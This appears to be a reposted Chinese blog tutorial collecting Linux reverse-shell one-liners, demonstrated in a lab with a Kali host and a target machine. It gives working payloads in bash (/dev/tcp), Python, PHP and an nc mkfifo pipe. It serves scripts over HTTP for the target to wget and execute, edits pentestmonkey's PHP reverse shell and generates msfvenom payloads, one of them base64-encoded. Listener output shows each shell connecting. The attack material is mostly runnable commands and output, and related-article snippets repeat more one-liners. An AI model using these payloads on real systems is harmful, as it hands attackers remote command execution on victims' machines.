文章转载来源:https://blog.csdn.net/qq_38684504/article/details/90047213#1.%20bash%E7%9B%B4%E6%8E%A5%E5%8F%8D%E5%BC%B9

最开始的时候连shell具体是啥都不太清楚,记得有本书上封面画着个坐着的小企鹅,写着Linux shell 才知道shell是Linux独有的编程语言。

经常听大佬们讲什么什么反弹shell,今天系统学习学起,昨天为此还特地学了学shell语言,感觉和反弹shell没多大关联......

目录

常用的一句话反弹shell总结

1. bash直接反弹

2. python一句话反弹shell

3. python脚本反弹shell

4. php一句话反弹shell

5. php脚本反弹shell

6. 使用nc命令获取靶机的反弹shell;

7. 使用Kali自带的脚本文件获取反弹shell

8. 使用msfvenom 获取一句话反弹shell

1. bash直接反弹

1.1> 在监听机上开启监听

nc -nvlp 8080

1.2> 在目标主机上写入bash反弹一句话

bash -i >& /dev/tcp/192.168.37.131/8080 0>&1                      //注意,这个38.131就是攻击机,hacker的ip

代码讲解
        bash -i:产生一个bash的交互环境;

>&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;

/dev/tcp/192.168.37.131/8080:与目标主机192.168.37.131/8080端口建立一个TCP连接;

0>&1:将标准输入与标准输出相结合,重定向到前面标准输出内容;

1.3> 查看监听机上是否监听到shell;

    root@root:~# nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 46567
[tom@redhat home]$ whoami //可以看到,已经连接上了TOM的主机
whoami
tom
[tom@redhat home]$ pwd
pwd
/home
[tom@redhat home]$

2. python一句话反弹shell

2.1> 直接在Kali上监听1234端口,在靶机上执行如下命令:

    在kali上执行监听
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
在被攻击端,也就是靶机上执行
[tom@redhat tmp]$ python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

2.2> 在Kali上查看监听到的1234端口,获取反弹shell;

    root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35065
sh-4.1$ whoami //可以看到,监听成功
whoami
tom
sh-4.1$

3. python脚本反弹shell

这个和上面那个python直接反弹shell没啥区别,就是让靶机从攻击机上面下载文件并执行

3.1> 在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务(注:web服务在/var/www/html目录下开启,当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start);

    root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.py
root@root:/var/www/html# cat shell.py #shell.py的内容
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.37.131",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
root@root:/var/www/html# /etc/init.d/apache2 start #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.

3.2> 将python shell脚本下载到目标靶机系统;(一般下载到/tmp目录下)

    [tom@redhat tmp]$ wget http://192.168.37.131/shell.py
--2019-05-20 13:54:58-- http://192.168.37.131/shell.py
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:218 [text/x-python]
正在保存至: “shell.py.1” 100%[======================================>] 218 --.-K/s in 0s 2019-05-20 13:54:58 (13.6 MB/s) - 已保存 “shell.py.1” [218/218])

3.3> 下载成功后,在Kali上开启监听端口1234;并在靶机上运行python脚本 ;

在Kali上开启监听端口1234:

    root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...

在靶机上执行下载的python脚本文件:

[tom@redhat tmp]$ python shell.py

3.4>查看Kali上监听的端口1234,获取靶机的反弹shell;

    root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35053
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$ ifconfig
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:EF:E0:1D
inet addr:192.168.37.143 Bcast:192.168.37.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2605 errors:0 dropped:0 overruns:0 frame:0
TX packets:286 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:186570 (182.1 KiB) TX bytes:24850 (24.2 KiB)

4. php一句话反弹shell

4.1> 直接在Kali上监听1234端口,在靶机上执行如下命令:

    root@root:/var/www/html# nc -nvlp 1234              //攻击机
listening on [any] 1234 ...
  [tom@redhat tmp]$ php -r '$sock=fsockopen("192.168.37.131",1234);     exec("/bin/sh -i <&3 >&3 2>&3");'      //靶机

4.2> 在Kali上查看监听到的1234端口,获取反弹shell;

    root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35064
sh-4.1$ whoami
whoami
tom
sh-4.1$

4.3> 将shell转化为交互的tty;

   python -c 'import pty;pty.spawn("/bin/bash")'

    sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")' //不大明白这是啥意思
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$

5. php脚本反弹shell

5.1> 在KALI中添加shell.php;并开启Apache服务;

<?php
$sock=fsockopen("192.168.37.131",1234);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
/etc/init.d/apache2 start
   root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.php
root@root:/var/www/html# cat shell.php #php脚本
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
root@root:/var/www/html# /etc/init.d/apache2 start #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@root:/var/www/html#

5.2> 在靶机上下载该脚本;

    [tom@redhat tmp]$ wget http://192.168.37.131/shell.php
--2019-05-20 14:21:56-- http://192.168.37.131/shell.php
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:80 [text/plain]
正在保存至: “shell.php” 100%[======================================>] 80 --.-K/s in 0s 2019-05-20 14:21:56 (4.53 MB/s) - 已保存 “shell.php” [80/80])

5.3> 下载成功后,在Kali上开启监听端口1234;并在靶机上运行python脚本 ;

在Kali上开启监听端口1234:

    root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...

在靶机上执行下载的php脚本文件:

[tom@redhat tmp]$ php shell.php

5.4>查看Kali上监听的端口1234,获取靶机的反弹shell;

    root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35063
sh-4.1$ whoami
whoami
tom
sh-4.1$ ifconfig
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:EF:E0:1D
inet addr:192.168.37.143 Bcast:192.168.37.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2748 errors:0 dropped:0 overruns:0 frame:0
TX packets:369 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:204505 (199.7 KiB) TX bytes:32844 (32.0 KiB)

6. 使用nc命令获取靶机的反弹shell;

6.1> 在靶机上输入如下命令;

[tom@redhat tmp]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;             
//这里有个疑惑,不知道靶机没装netcat也能用nc命令? 问了大佬,这是不可以的,靶机一定装了Netcat才能用nc命令
问题:大佬们,使用nc获取靶机的反弹shell,靶机是不是也得安装netcat?
解释: 不一定 你强调的是用nc接收shell 而靶机发送shell有多种方式 linux可以用bash windows可以用powershell

6.2> 在Kali上监听1234端口;

    root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35067
sh-4.1$ whoami
whoami
tom
sh-4.1$

7. 使用Kali自带的脚本文件获取反弹shell

7.1> 查看Kali上的php-reverse-shell.php,另存为并修改监听的IP地址;

    root@root:~# cd /usr/share/webshells/
root@root:/usr/share/webshells# ls
asp aspx cfm jsp perl php
root@root:/usr/share/webshells# cd php
root@root:/usr/share/webshells/php# ls
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php
root@root:/usr/share/webshells/php# cat php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
...... root@root:/usr/share/webshells/php# cp php-reverse-shell.php /var/www/html/
root@root:/usr/share/webshells/php# cd /var/www/html/
root@root:/var/www/html# ls
1.html a.js index.html shell.elf
1.php decode.py index.nginx-debian.html shell.php
2.html dirty.c php-reverse-shell.php shell.py
37292.c dirtycow-master shell.c shell.txt
root@root:/var/www/html# vim php-reverse-shell.php
root@root:/var/www/html# cat php-reverse-shell.php #修改监听的IP地址
......
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.37.131'; // CHANGE THIS #修改IP地址
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......
root@root:/var/www/html# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.

7.2> 将文件上传到靶机上;并监听1234端口,执行文件,获取反弹shell;
8. 使用msfvenom 获取一句话反弹shell

当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,就可以生成我们所需要的各类命令行一句话,具体使用方法如下:

8.1 查询 payload 具体路径

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。找windows的也同理!!!

    root@root:~# msfvenom -l payloads |grep "cmd/unix/reverse"
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
cmd/unix/reverse_lua Creates an interactive shell via Lua
cmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat
cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_r Connect back and create a command shell via R
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_socat_udp Creates an interactive shell via socat
cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload)
cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.

8.2> 生成我们所需要的一句话反弹shell;

msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R      #bash反弹一句话

    msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R    #nc反弹一句话

    msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R  #python反弹一句话

    ......

    root@root:~# msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
0<&178-;exec 178<>/dev/tcp/192.168.37.131/1234;sh <&178 >&178 2>&178 root@root:~# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 93 bytes
mkfifo /tmp/fqzh; nc 192.168.37.131 1234 0</tmp/fqzh | /bin/sh >/tmp/fqzh 2>&1; rm /tmp/fqzh
root@root:~# msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 573 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICAsICAgICAgc3VicHJvY2VzcyAgICAgICAsICAgICAgb3MgICAgICAgICA7IGhvc3Q9IjE5Mi4xNjguMzcuMTMxIiAgICAgICAgIDsgcG9ydD0xMjM0ICAgICAgICAgOyBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAgLCAgICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICAgICA7IHMuY29ubmVjdCgoaG9zdCAgICAgICAsICAgICAgcG9ydCkpICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDApICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDEpICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDIpICAgICAgICAgOyBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"

8.3> 在Kali上监听端口,在靶机上执行生成的一句话shell;即可获取目标的反弹shell;

常用的一句话反弹shell总结的更多相关文章

  1. 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。

    反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...

  2. 轻便的一句话反弹shell语句

    反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某 ...

  3. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  4. linux 常用反弹shell小记

    在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...

  5. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  6. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

  7. Linux渗透之反弹Shell

    前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...

  8. Linux下几种反弹Shell方法的总结与理解

    之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...

  9. [Shell]多姿势反弹shell

    客户端监听本地: nc -nvlp 4444 从原生的 shell 环境切换到 linux 的交互式 bash 环境: python -c 'import pty; pty.spawn("/ ...

随机推荐

  1. Java中CLASS_PATH与注释的使用

    一.CLASS_PATH的使用 我们在安装jdk的时候,通常情况下只是在电脑的环境变量中新建一个系统变量JAVA_HOME,这个变量用于储存jdk的/bin文件夹之前路径,然后在path中使用这个系统 ...

  2. P2887 [USACO07NOV]Sunscreen G

    将奶牛按照能忍受的阳光强度最大值从小到大排序.对于当前这头奶牛,选取它能抹的最小防晒霜.因为越大的防晒霜后面的奶牛越可能利用,并且抹显然不劣于不抹. 时间复杂度 \(O\left(C\log C+L\ ...

  3. C语言讲义——内联函数

    如果一些函数被频繁调用,不断地有函数入栈(Stack),会造成栈空间的大量消耗. 对应这种问题,可以使用内联函数(inline). 编译器会将内联函数的代码整段插入到调用的位置. #include & ...

  4. Java基础教程——Lambda表达式

    Lambda表达式 Java8引入Lambda表达式,可以使代码更简洁. 格式:参数,箭头,代码 (参数名)->{代码} Lambda表达式体现了"函数式编程思想"-- 面向 ...

  5. 技巧:如何区分dll程序集的编译目标平台(同样适用于查看程序集的其它依赖)

    我们在进行net core迁移过程中,有时候需要区分一个dll是针对netstandard平台还是net framework. 本文提供一个技巧来快速区分:通过工具dnSpy打开目标dll,按照如下截 ...

  6. c++11-17 模板核心知识(十)—— 区分万能引用(universal references)和右值引用

    引子 如何区分 模板参数 const disqualify universal reference auto声明 引子 T&&在代码里并不总是右值引用: void f(Widget&a ...

  7. Beta冲刺随笔——Day_Four

    这个作业属于哪个课程 软件工程 (福州大学至诚学院 - 计算机工程系) 这个作业要求在哪里 Beta 冲刺 这个作业的目标 团队进行Beta冲刺 作业正文 正文 其他参考文献 无 今日事今日毕 林涛: ...

  8. 教学之Treap

    放在前面的话 本蒟蒻因为最近的题目总是搞点奇奇怪怪的平衡树,就去学了下\(Treap\) 现在来总结一下 由于本人是个蒟蒻,本文可能有部分错误,麻烦各位读者大佬在评论区提醒 什么是\(Treap\) ...

  9. python核心高级学习总结1---------*args和**kwargs

    *args 和 ** kwargs 的用法 首先,这两者在用法上都是用来补充python中对不定参数的接受. 比如下面的列子 def wrappedfunc(*args, **kwargs): pri ...

  10. PyQt学习随笔:Model/View架构中多个视图之间选择数据项同步

    我们知道多个视图之间通过使用相同的model就可以实现数据的共享(具体请参考< PyQt学习随笔:ListView控件的视图和数据模型分离案例>),除了数据的共享之外,多个视图之间还可以同 ...